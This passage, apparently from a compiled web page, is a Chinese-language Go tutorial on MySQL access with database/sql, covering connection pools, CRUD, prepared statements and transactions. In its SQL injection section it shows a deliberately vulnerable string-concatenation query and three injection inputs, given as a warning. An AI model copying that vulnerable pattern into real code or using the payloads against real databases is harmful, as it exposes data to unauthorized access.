int)\n"})}),"\n",(0,s.jsxs)(n.p,{children:["SetMaxIdleConns\u8bbe\u7f6e\u8fde\u63a5\u6c60\u4e2d\u7684\u6700\u5927\u95f2\u7f6e\u8fde\u63a5\u6570\u3002 \u5982\u679cn\u5927\u4e8e\u6700\u5927\u5f00\u542f\u8fde\u63a5\u6570\uff0c\u5219\u65b0\u7684\u6700\u5927\u95f2\u7f6e\u8fde\u63a5\u6570\u4f1a\u51cf\u5c0f\u5230\u5339\u914d\u6700\u5927\u5f00\u542f\u8fde\u63a5\u6570\u7684\u9650\u5236\u3002 \u5982\u679c",(0,s.jsx)(n.code,{children:"n<="}),"0\uff0c\u4e0d\u4f1a\u4fdd\u7559\u95f2\u7f6e\u8fde\u63a5\u3002"]}),"\n",(0,s.jsx)(n.h2,{id:"crud",children:"CRUD"}),"\n",(0,s.jsx)(n.h3,{id:"\u5efa\u5e93\u5efa\u8868",children:"\u5efa\u5e93\u5efa\u8868"}),"\n",(0,s.jsxs)(n.p,{children:["\u6211\u4eec\u5148\u5728MySQL\u4e2d\u521b\u5efa\u4e00\u4e2a\u540d\u4e3a",(0,s.jsx)(n.code,{children:"sql_test"}),"\u7684\u6570\u636e\u5e93"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-sql",children:"CREATE DATABASE sql_test;\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u8fdb\u5165\u8be5\u6570\u636e\u5e93:"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-sql",children:"use sql_test;\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u6267\u884c\u4ee5\u4e0b\u547d\u4ee4\u521b\u5efa\u4e00\u5f20\u7528\u4e8e\u6d4b\u8bd5\u7684\u6570\u636e\u8868\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-sql",children:"CREATE TABLE `user` (\n `id` BIGINT(20) NOT NULL AUTO_INCREMENT,\n `name` VARCHAR(20) DEFAULT '',\n `age` INT(11) DEFAULT '0',\n PRIMARY KEY(`id`)\n)ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8mb4;\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u67e5\u8be2",children:"\u67e5\u8be2"}),"\n",(0,s.jsx)(n.p,{children:"\u4e3a\u4e86\u65b9\u4fbf\u67e5\u8be2\uff0c\u6211\u4eec\u4e8b\u5148\u5b9a\u4e49\u597d\u4e00\u4e2a\u7ed3\u6784\u4f53\u6765\u5b58\u50a8user\u8868\u7684\u6570\u636e\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:"type user struct {\n\tid int\n\tage int\n\tname string\n}\n"})}),"\n",(0,s.jsx)(n.h4,{id:"\u5355\u884c\u67e5\u8be2",children:"\u5355\u884c\u67e5\u8be2"}),"\n",(0,s.jsxs)(n.p,{children:["\u5355\u884c\u67e5\u8be2",(0,s.jsx)(n.code,{children:"db.QueryRow()"}),"\u6267\u884c\u4e00\u6b21\u67e5\u8be2\uff0c\u5e76\u671f\u671b\u8fd4\u56de\u6700\u591a\u4e00\u884c\u7ed3\u679c\uff08\u5373Row\uff09\u3002QueryRow\u603b\u662f\u8fd4\u56de\u975enil\u7684\u503c\uff0c\u76f4\u5230\u8fd4\u56de\u503c\u7684Scan\u65b9\u6cd5\u88ab\u8c03\u7528\u65f6\uff0c\u624d\u4f1a\u8fd4\u56de\u88ab\u5ef6\u8fdf\u7684\u9519\u8bef\u3002\uff08\u5982\uff1a\u672a\u627e\u5230\u7ed3\u679c\uff09"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:"func (db *DB) QueryRow(query string, args ...interface{}) *Row\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u5177\u4f53\u793a\u4f8b\u4ee3\u7801\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'// \u67e5\u8be2\u5355\u6761\u6570\u636e\u793a\u4f8b\nfunc queryRowDemo() {\n\tsqlStr := "select id, name, age from user where id=?"\n\tvar u user\n\t// \u975e\u5e38\u91cd\u8981\uff1a\u786e\u4fddQueryRow\u4e4b\u540e\u8c03\u7528Scan\u65b9\u6cd5\uff0c\u5426\u5219\u6301\u6709\u7684\u6570\u636e\u5e93\u94fe\u63a5\u4e0d\u4f1a\u88ab\u91ca\u653e\n\terr := db.QueryRow(sqlStr, 1).Scan(&u.id, &u.name, &u.age)\n\tif err != nil {\n\t\tfmt.Printf("scan failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tfmt.Printf("id:%d name:%s age:%d\\n", u.id, u.name, u.age)\n}\n'})}),"\n",(0,s.jsx)(n.h4,{id:"\u591a\u884c\u67e5\u8be2",children:"\u591a\u884c\u67e5\u8be2"}),"\n",(0,s.jsxs)(n.p,{children:["\u591a\u884c\u67e5\u8be2",(0,s.jsx)(n.code,{children:"db.Query()"}),"\u6267\u884c\u4e00\u6b21\u67e5\u8be2\uff0c\u8fd4\u56de\u591a\u884c\u7ed3\u679c\uff08\u5373Rows\uff09\uff0c\u4e00\u822c\u7528\u4e8e\u6267\u884cselect\u547d\u4ee4\u3002\u53c2\u6570args\u8868\u793aquery\u4e2d\u7684\u5360\u4f4d\u53c2\u6570\u3002"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:"func (db *DB) Query(query string, args ...interface{}) (*Rows, error)\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u5177\u4f53\u793a\u4f8b\u4ee3\u7801\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'// \u67e5\u8be2\u591a\u6761\u6570\u636e\u793a\u4f8b\nfunc queryMultiRowDemo() {\n\tsqlStr := "select id, name, age from user where id > ?"\n\trows, err := db.Query(sqlStr, 0)\n\tif err != nil {\n\t\tfmt.Printf("query failed, err:%v\\n", err)\n\t\treturn\n\t}\n\t// \u975e\u5e38\u91cd\u8981\uff1a\u5173\u95edrows\u91ca\u653e\u6301\u6709\u7684\u6570\u636e\u5e93\u94fe\u63a5\n\tdefer rows.Close()\n\n\t// \u5faa\u73af\u8bfb\u53d6\u7ed3\u679c\u96c6\u4e2d\u7684\u6570\u636e\n\tfor rows.Next() {\n\t\tvar u user\n\t\terr := rows.Scan(&u.id, &u.name, &u.age)\n\t\tif err != nil {\n\t\t\tfmt.Printf("scan failed, err:%v\\n", err)\n\t\t\treturn\n\t\t}\n\t\tfmt.Printf("id:%d name:%s age:%d\\n", u.id, u.name, u.age)\n\t}\n}\n'})}),"\n",(0,s.jsx)(n.h3,{id:"\u63d2\u5165\u6570\u636e",children:"\u63d2\u5165\u6570\u636e"}),"\n",(0,s.jsxs)(n.p,{children:["\u63d2\u5165\u3001\u66f4\u65b0\u548c\u5220\u9664\u64cd\u4f5c\u90fd\u4f7f\u7528",(0,s.jsx)(n.code,{children:"Exec"}),"\u65b9\u6cd5\u3002"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:"func (db *DB) Exec(query string, args ...interface{}) (Result, error)\n"})}),"\n",(0,s.jsx)(n.p,{children:"Exec\u6267\u884c\u4e00\u6b21\u547d\u4ee4\uff08\u5305\u62ec\u67e5\u8be2\u3001\u5220\u9664\u3001\u66f4\u65b0\u3001\u63d2\u5165\u7b49\uff09\uff0c\u8fd4\u56de\u7684Result\u662f\u5bf9\u5df2\u6267\u884c\u7684SQL\u547d\u4ee4\u7684\u603b\u7ed3\u3002\u53c2\u6570args\u8868\u793aquery\u4e2d\u7684\u5360\u4f4d\u53c2\u6570\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u5177\u4f53\u63d2\u5165\u6570\u636e\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'// \u63d2\u5165\u6570\u636e\nfunc insertRowDemo() {\n\tsqlStr := "insert into user(name, age) values (?,?)"\n\tret, err := db.Exec(sqlStr, "\u738b\u4e94", 38)\n\tif err != nil {\n\t\tfmt.Printf("insert failed, err:%v\\n", err)\n\t\treturn\n\t}\n\ttheID, err := ret.LastInsertId() // \u65b0\u63d2\u5165\u6570\u636e\u7684id\n\tif err != nil {\n\t\tfmt.Printf("get lastinsert ID failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tfmt.Printf("insert success, the id is %d.\\n", theID)\n}\n'})}),"\n",(0,s.jsx)(n.h3,{id:"\u66f4\u65b0\u6570\u636e",children:"\u66f4\u65b0\u6570\u636e"}),"\n",(0,s.jsx)(n.p,{children:"\u5177\u4f53\u66f4\u65b0\u6570\u636e\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'// \u66f4\u65b0\u6570\u636e\nfunc updateRowDemo() {\n\tsqlStr := "update user set age=? where id = ?"\n\tret, err := db.Exec(sqlStr, 39, 3)\n\tif err != nil {\n\t\tfmt.Printf("update failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tn, err := ret.RowsAffected() // \u64cd\u4f5c\u5f71\u54cd\u7684\u884c\u6570\n\tif err != nil {\n\t\tfmt.Printf("get RowsAffected failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tfmt.Printf("update success, affected rows:%d\\n", n)\n}\n'})}),"\n",(0,s.jsx)(n.h3,{id:"\u5220\u9664\u6570\u636e",children:"\u5220\u9664\u6570\u636e"}),"\n",(0,s.jsx)(n.p,{children:"\u5177\u4f53\u5220\u9664\u6570\u636e\u7684\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'// \u5220\u9664\u6570\u636e\nfunc deleteRowDemo() {\n\tsqlStr := "delete from user where id = ?"\n\tret, err := db.Exec(sqlStr, 3)\n\tif err != nil {\n\t\tfmt.Printf("delete failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tn, err := ret.RowsAffected() // \u64cd\u4f5c\u5f71\u54cd\u7684\u884c\u6570\n\tif err != nil {\n\t\tfmt.Printf("get RowsAffected failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tfmt.Printf("delete success, affected rows:%d\\n", n)\n}\n'})}),"\n",(0,s.jsx)(n.h2,{id:"mysql\u9884\u5904\u7406",children:"MySQL\u9884\u5904\u7406"}),"\n",(0,s.jsx)(n.h3,{id:"\u4ec0\u4e48\u662f\u9884\u5904\u7406",children:"\u4ec0\u4e48\u662f\u9884\u5904\u7406\uff1f"}),"\n",(0,s.jsx)(n.p,{children:"\u666e\u901aSQL\u8bed\u53e5\u6267\u884c\u8fc7\u7a0b\uff1a"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsx)(n.li,{children:"\u5ba2\u6237\u7aef\u5bf9SQL\u8bed\u53e5\u8fdb\u884c\u5360\u4f4d\u7b26\u66ff\u6362\u5f97\u5230\u5b8c\u6574\u7684SQL\u8bed\u53e5\u3002"}),"\n",(0,s.jsx)(n.li,{children:"\u5ba2\u6237\u7aef\u53d1\u9001\u5b8c\u6574SQL\u8bed\u53e5\u5230MySQL\u670d\u52a1\u7aef"}),"\n",(0,s.jsx)(n.li,{children:"MySQL\u670d\u52a1\u7aef\u6267\u884c\u5b8c\u6574\u7684SQL\u8bed\u53e5\u5e76\u5c06\u7ed3\u679c\u8fd4\u56de\u7ed9\u5ba2\u6237\u7aef\u3002"}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u9884\u5904\u7406\u6267\u884c\u8fc7\u7a0b\uff1a"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsx)(n.li,{children:"\u628aSQL\u8bed\u53e5\u5206\u6210\u4e24\u90e8\u5206\uff0c\u547d\u4ee4\u90e8\u5206\u4e0e\u6570\u636e\u90e8\u5206\u3002"}),"\n",(0,s.jsx)(n.li,{children:"\u5148\u628a\u547d\u4ee4\u90e8\u5206\u53d1\u9001\u7ed9MySQL\u670d\u52a1\u7aef\uff0cMySQL\u670d\u52a1\u7aef\u8fdb\u884cSQL\u9884\u5904\u7406\u3002"}),"\n",(0,s.jsx)(n.li,{children:"\u7136\u540e\u628a\u6570\u636e\u90e8\u5206\u53d1\u9001\u7ed9MySQL\u670d\u52a1\u7aef\uff0cMySQL\u670d\u52a1\u7aef\u5bf9SQL\u8bed\u53e5\u8fdb\u884c\u5360\u4f4d\u7b26\u66ff\u6362\u3002"}),"\n",(0,s.jsx)(n.li,{children:"MySQL\u670d\u52a1\u7aef\u6267\u884c\u5b8c\u6574\u7684SQL\u8bed\u53e5\u5e76\u5c06\u7ed3\u679c\u8fd4\u56de\u7ed9\u5ba2\u6237\u7aef\u3002"}),"\n"]}),"\n",(0,s.jsx)(n.h3,{id:"\u4e3a\u4ec0\u4e48\u8981\u9884\u5904\u7406",children:"\u4e3a\u4ec0\u4e48\u8981\u9884\u5904\u7406\uff1f"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsx)(n.li,{children:"\u4f18\u5316MySQL\u670d\u52a1\u5668\u91cd\u590d\u6267\u884cSQL\u7684\u65b9\u6cd5\uff0c\u53ef\u4ee5\u63d0\u5347\u670d\u52a1\u5668\u6027\u80fd\uff0c\u63d0\u524d\u8ba9\u670d\u52a1\u5668\u7f16\u8bd1\uff0c\u4e00\u6b21\u7f16\u8bd1\u591a\u6b21\u6267\u884c\uff0c\u8282\u7701\u540e\u7eed\u7f16\u8bd1\u7684\u6210\u672c\u3002"}),"\n",(0,s.jsx)(n.li,{children:"\u907f\u514dSQL\u6ce8\u5165\u95ee\u9898\u3002"}),"\n"]}),"\n",(0,s.jsx)(n.h3,{id:"go\u5b9e\u73b0mysql\u9884\u5904\u7406",children:"Go\u5b9e\u73b0MySQL\u9884\u5904\u7406"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"database/sql"}),"\u4e2d\u4f7f\u7528\u4e0b\u9762\u7684",(0,s.jsx)(n.code,{children:"Prepare"}),"\u65b9\u6cd5\u6765\u5b9e\u73b0\u9884\u5904\u7406\u64cd\u4f5c\u3002"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:"func (db *DB) Prepare(query string) (*Stmt, error)\n"})}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"Prepare"}),"\u65b9\u6cd5\u4f1a\u5148\u5c06sql\u8bed\u53e5\u53d1\u9001\u7ed9MySQL\u670d\u52a1\u7aef\uff0c\u8fd4\u56de\u4e00\u4e2a\u51c6\u5907\u597d\u7684\u72b6\u6001\u7528\u4e8e\u4e4b\u540e\u7684\u67e5\u8be2\u548c\u547d\u4ee4\u3002\u8fd4\u56de\u503c\u53ef\u4ee5\u540c\u65f6\u6267\u884c\u591a\u4e2a\u67e5\u8be2\u548c\u547d\u4ee4\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u67e5\u8be2\u64cd\u4f5c\u7684\u9884\u5904\u7406\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'// \u9884\u5904\u7406\u67e5\u8be2\u793a\u4f8b\nfunc prepareQueryDemo() {\n\tsqlStr := "select id, name, age from user where id > ?"\n\tstmt, err := db.Prepare(sqlStr)\n\tif err != nil {\n\t\tfmt.Printf("prepare failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tdefer stmt.Close()\n\trows, err := stmt.Query(0)\n\tif err != nil {\n\t\tfmt.Printf("query failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tdefer rows.Close()\n\t// \u5faa\u73af\u8bfb\u53d6\u7ed3\u679c\u96c6\u4e2d\u7684\u6570\u636e\n\tfor rows.Next() {\n\t\tvar u user\n\t\terr := rows.Scan(&u.id, &u.name, &u.age)\n\t\tif err != nil {\n\t\t\tfmt.Printf("scan failed, err:%v\\n", err)\n\t\t\treturn\n\t\t}\n\t\tfmt.Printf("id:%d name:%s age:%d\\n", u.id, u.name, u.age)\n\t}\n}\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u63d2\u5165\u3001\u66f4\u65b0\u548c\u5220\u9664\u64cd\u4f5c\u7684\u9884\u5904\u7406\u5341\u5206\u7c7b\u4f3c\uff0c\u8fd9\u91cc\u4ee5\u63d2\u5165\u64cd\u4f5c\u7684\u9884\u5904\u7406\u4e3a\u4f8b\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'// \u9884\u5904\u7406\u63d2\u5165\u793a\u4f8b\nfunc prepareInsertDemo() {\n\tsqlStr := "insert into user(name, age) values (?,?)"\n\tstmt, err := db.Prepare(sqlStr)\n\tif err != nil {\n\t\tfmt.Printf("prepare failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tdefer stmt.Close()\n\t_, err = stmt.Exec("\u5c0f\u738b\u5b50", 18)\n\tif err != nil {\n\t\tfmt.Printf("insert failed, err:%v\\n", err)\n\t\treturn\n\t}\n\t_, err = stmt.Exec("\u6c99\u6cb3\u5a1c\u624e", 18)\n\tif err != nil {\n\t\tfmt.Printf("insert failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tfmt.Println("insert success.")\n}\n'})}),"\n",(0,s.jsx)(n.h3,{id:"sql\u6ce8\u5165\u95ee\u9898",children:"SQL\u6ce8\u5165\u95ee\u9898"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"\u6211\u4eec\u4efb\u4f55\u65f6\u5019\u90fd\u4e0d\u5e94\u8be5\u81ea\u5df1\u62fc\u63a5SQL\u8bed\u53e5\uff01"})}),"\n",(0,s.jsx)(n.p,{children:"\u8fd9\u91cc\u6211\u4eec\u6f14\u793a\u4e00\u4e2a\u81ea\u884c\u62fc\u63a5SQL\u8bed\u53e5\u7684\u793a\u4f8b\uff0c\u7f16\u5199\u4e00\u4e2a\u6839\u636ename\u5b57\u6bb5\u67e5\u8be2user\u8868\u7684\u51fd\u6570\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'// sql\u6ce8\u5165\u793a\u4f8b\nfunc sqlInjectDemo(name string) {\n\tsqlStr := fmt.Sprintf("select id, name, age from user where name=\'%s\'", name)\n\tfmt.Printf("SQL:%s\\n", sqlStr)\n\tvar u user\n\terr := db.QueryRow(sqlStr).Scan(&u.id, &u.name, &u.age)\n\tif err != nil {\n\t\tfmt.Printf("exec failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tfmt.Printf("user:%#v\\n", u)\n}\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u6b64\u65f6\u4ee5\u4e0b\u8f93\u5165\u5b57\u7b26\u4e32\u90fd\u53ef\u4ee5\u5f15\u53d1SQL\u6ce8\u5165\u95ee\u9898\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'sqlInjectDemo("xxx\' or 1=1#")\nsqlInjectDemo("xxx\' union select * from user #")\nsqlInjectDemo("xxx\' and (select count(*) from user) <10 #")\n'})}),"\n",(0,s.jsx)(n.p,{children:"**\u8865\u5145\uff1a**\u4e0d\u540c\u7684\u6570\u636e\u5e93\u4e2d\uff0cSQL\u8bed\u53e5\u4f7f\u7528\u7684\u5360\u4f4d\u7b26\u8bed\u6cd5\u4e0d\u5c3d\u76f8\u540c\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u6570\u636e\u5e93"}),(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u5360\u4f4d\u7b26\u8bed\u6cd5"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"MySQL"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:(0,s.jsx)(n.code,{children:"?"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"PostgreSQL"}),(0,s.jsxs)(n.td,{style:{textAlign:"center"},children:[(0,s.jsx)(n.code,{children:"$1"}),", ",(0,s.jsx)(n.code,{children:"$2"}),"\u7b49"]})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"SQLite"}),(0,s.jsxs)(n.td,{style:{textAlign:"center"},children:[(0,s.jsx)(n.code,{children:"?"})," \u548c",(0,s.jsx)(n.code,{children:"$1"})]})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"Oracle"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:(0,s.jsx)(n.code,{children:":name"})})]})]})]}),"\n",(0,s.jsx)(n.h2,{id:"go\u5b9e\u73b0mysql\u4e8b\u52a1",children:"Go\u5b9e\u73b0MySQL\u4e8b\u52a1"}),"\n",(0,s.jsx)(n.h3,{id:"\u4ec0\u4e48\u662f\u4e8b\u52a1",children:"\u4ec0\u4e48\u662f\u4e8b\u52a1\uff1f"}),"\n",(0,s.jsx)(n.p,{children:"\u4e8b\u52a1\uff1a\u4e00\u4e2a\u6700\u5c0f\u7684\u4e0d\u53ef\u518d\u5206\u7684\u5de5\u4f5c\u5355\u5143\uff1b\u901a\u5e38\u4e00\u4e2a\u4e8b\u52a1\u5bf9\u5e94\u4e00\u4e2a\u5b8c\u6574\u7684\u4e1a\u52a1(\u4f8b\u5982\u94f6\u884c\u8d26\u6237\u8f6c\u8d26\u4e1a\u52a1\uff0c\u8be5\u4e1a\u52a1\u5c31\u662f\u4e00\u4e2a\u6700\u5c0f\u7684\u5de5\u4f5c\u5355\u5143)\uff0c\u540c\u65f6\u8fd9\u4e2a\u5b8c\u6574\u7684\u4e1a\u52a1\u9700\u8981\u6267\u884c\u591a\u6b21\u7684DML(insert\u3001update\u3001delete)\u8bed\u53e5\u5171\u540c\u8054\u5408\u5b8c\u6210\u3002A\u8f6c\u8d26\u7ed9B\uff0c\u8fd9\u91cc\u9762\u5c31\u9700\u8981\u6267\u884c\u4e24\u6b21update\u64cd\u4f5c\u3002"}),"\n",(0,s.jsxs)(n.p,{children:["\u5728MySQL\u4e2d\u53ea\u6709\u4f7f\u7528\u4e86",(0,s.jsx)(n.code,{children:"Innodb"}),"\u6570\u636e\u5e93\u5f15\u64ce\u7684\u6570\u636e\u5e93\u6216\u8868\u624d\u652f\u6301\u4e8b\u52a1\u3002\u4e8b\u52a1\u5904\u7406\u53ef\u4ee5\u7528\u6765\u7ef4\u62a4\u6570\u636e\u5e93\u7684\u5b8c\u6574\u6027\uff0c\u4fdd\u8bc1\u6210\u6279\u7684SQL\u8bed\u53e5\u8981\u4e48\u5168\u90e8\u6267\u884c\uff0c\u8981\u4e48\u5168\u90e8\u4e0d\u6267\u884c\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"\u4e8b\u52a1\u7684acid",children:"\u4e8b\u52a1\u7684ACID"}),"\n",(0,s.jsx)(n.p,{children:"\u901a\u5e38\u4e8b\u52a1\u5fc5\u987b\u6ee1\u8db34\u4e2a\u6761\u4ef6\uff08ACID\uff09\uff1a\u539f\u5b50\u6027\uff08Atomicity\uff0c\u6216\u79f0\u4e0d\u53ef\u5206\u5272\u6027\uff09\u3001\u4e00\u81f4\u6027\uff08Consistency\uff09\u3001\u9694\u79bb\u6027\uff08Isolation\uff0c\u53c8\u79f0\u72ec\u7acb\u6027\uff09\u3001\u6301\u4e45\u6027\uff08Durability\uff09\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u6761\u4ef6"}),(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u89e3\u91ca"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u539f\u5b50\u6027"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u4e00\u4e2a\u4e8b\u52a1\uff08transaction\uff09\u4e2d\u7684\u6240\u6709\u64cd\u4f5c\uff0c\u8981\u4e48\u5168\u90e8\u5b8c\u6210\uff0c\u8981\u4e48\u5168\u90e8\u4e0d\u5b8c\u6210\uff0c\u4e0d\u4f1a\u7ed3\u675f\u5728\u4e2d\u95f4\u67d0\u4e2a\u73af\u8282\u3002\u4e8b\u52a1\u5728\u6267\u884c\u8fc7\u7a0b\u4e2d\u53d1\u751f\u9519\u8bef\uff0c\u4f1a\u88ab\u56de\u6eda\uff08Rollback\uff09\u5230\u4e8b\u52a1\u5f00\u59cb\u524d\u7684\u72b6\u6001\uff0c\u5c31\u50cf\u8fd9\u4e2a\u4e8b\u52a1\u4ece\u6765\u6ca1\u6709\u6267\u884c\u8fc7\u4e00\u6837\u3002"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u4e00\u81f4\u6027"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u5728\u4e8b\u52a1\u5f00\u59cb\u4e4b\u524d\u548c\u4e8b\u52a1\u7ed3\u675f\u4ee5\u540e\uff0c\u6570\u636e\u5e93\u7684\u5b8c\u6574\u6027\u6ca1\u6709\u88ab\u7834\u574f\u3002\u8fd9\u8868\u793a\u5199\u5165\u7684\u8d44\u6599\u5fc5\u987b\u5b8c\u5168\u7b26\u5408\u6240\u6709\u7684\u9884\u8bbe\u89c4\u5219\uff0c\u8fd9\u5305\u542b\u8d44\u6599\u7684\u7cbe\u786e\u5ea6\u3001\u4e32\u8054\u6027\u4ee5\u53ca\u540e\u7eed\u6570\u636e\u5e93\u53ef\u4ee5\u81ea\u53d1\u6027\u5730\u5b8c\u6210\u9884\u5b9a\u7684\u5de5\u4f5c\u3002"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u9694\u79bb\u6027"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u6570\u636e\u5e93\u5141\u8bb8\u591a\u4e2a\u5e76\u53d1\u4e8b\u52a1\u540c\u65f6\u5bf9\u5176\u6570\u636e\u8fdb\u884c\u8bfb\u5199\u548c\u4fee\u6539\u7684\u80fd\u529b\uff0c\u9694\u79bb\u6027\u53ef\u4ee5\u9632\u6b62\u591a\u4e2a\u4e8b\u52a1\u5e76\u53d1\u6267\u884c\u65f6\u7531\u4e8e\u4ea4\u53c9\u6267\u884c\u800c\u5bfc\u81f4\u6570\u636e\u7684\u4e0d\u4e00\u81f4\u3002\u4e8b\u52a1\u9694\u79bb\u5206\u4e3a\u4e0d\u540c\u7ea7\u522b\uff0c\u5305\u62ec\u8bfb\u672a\u63d0\u4ea4\uff08Read uncommitted\uff09\u3001\u8bfb\u63d0\u4ea4\uff08read committed\uff09\u3001\u53ef\u91cd\u590d\u8bfb\uff08repeatable read\uff09\u548c\u4e32\u884c\u5316\uff08Serializable\uff09\u3002"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u6301\u4e45\u6027"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u4e8b\u52a1\u5904\u7406\u7ed3\u675f\u540e\uff0c\u5bf9\u6570\u636e\u7684\u4fee\u6539\u5c31\u662f\u6c38\u4e45\u7684\uff0c\u5373\u4fbf\u7cfb\u7edf\u6545\u969c\u4e5f\u4e0d\u4f1a\u4e22\u5931\u3002"})]})]})]}),"\n",(0,s.jsx)(n.h3,{id:"\u4e8b\u52a1\u76f8\u5173\u65b9\u6cd5",children:"\u4e8b\u52a1\u76f8\u5173\u65b9\u6cd5"}),"\n",(0,s.jsx)(n.p,{children:"Go\u8bed\u8a00\u4e2d\u4f7f\u7528\u4ee5\u4e0b\u4e09\u4e2a\u65b9\u6cd5\u5b9e\u73b0MySQL\u4e2d\u7684\u4e8b\u52a1\u64cd\u4f5c\u3002 \u5f00\u59cb\u4e8b\u52a1"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:"func (db *DB) Begin() (*Tx, error)\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u63d0\u4ea4\u4e8b\u52a1"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:"func (tx *Tx) Commit() error\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u56de\u6eda\u4e8b\u52a1"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:"func (tx *Tx) Rollback() 